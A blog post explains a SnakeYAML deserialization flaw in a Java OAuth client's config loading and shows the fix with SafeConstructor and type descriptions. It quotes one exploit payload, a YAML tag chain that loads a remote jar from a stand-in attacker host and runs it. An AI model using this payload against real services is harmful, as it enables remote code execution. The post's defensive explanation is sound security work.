Senthilkumar Gopal

Musings of a machine learning engineer

Secure Constructor object for SnakeYAML


We use SnakeYAML for simple parsing of YAML files in Java, as part of ebay-oauth-java-client configuration. We were made aware of a vulnerability within the code due to the usage of Yaml yaml = new Yaml() and then following it with yaml.loadAs(fis, Map.class);. This issue was first reported as part of Kubernetes java client, but affects any code which uses SnakeYaml for reading generic types.

Yaml allows a class type to be tagged in the file using its name such as !!java.net.URLClassLoader. So when yaml.loadAs loads the file, it instantiates objects for the tagged classes in the file. SnakeYAML recommends addressing this issue using type-safe-collections where the object types are defined and a Constructor object is used to allow only specific types such as below. Reference

Constructor constructor = new Constructor(Car.class);//Car.class is root
TypeDescription carDescription = new TypeDescription(Car.class);
carDescription.putListPropertyType("wheels", Wheel.class);
constructor.addTypeDescription(carDescription);
Yaml yaml = new Yaml(constructor);

However, this does not work for generic types such as java.util.Map objects and such generic types are handled specifically within SnakeYAML using tag:map or tag:sequence for lists.

How does this work

The specifics of this issue is available in detail by the original reporter. When the config file contains some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]], the default Constructor loads the ScriptEngineManager and attempts to load the jar from a remote location and execute them.

How to address this

YAML specification defines a FailSafe Schema which allows only str,sequence and map and prevents all other types from even being instantiated. SnakeYaml follows this fail-safe schema using SafeConstructor. Using the SafeConstructor to create Yaml yaml = new Yaml(new SafeConstructor()); prevents any arbitary class from getting loaded. For specific types, using TypeDescription and adding to the constructor object as shown above ensures only the allowed types are instantiated.

How does this look

The below is an inside look of all the allowed types using the default new Constructor() and the yamlClassConstructors has the scalar and sequence classes which allows the arbitrary class instantiation.

However, once the new Constructor() is substituted with new SafeConstructor(), the arbitrary code will fail with the following error confirming that the issue has been addressed.

drawing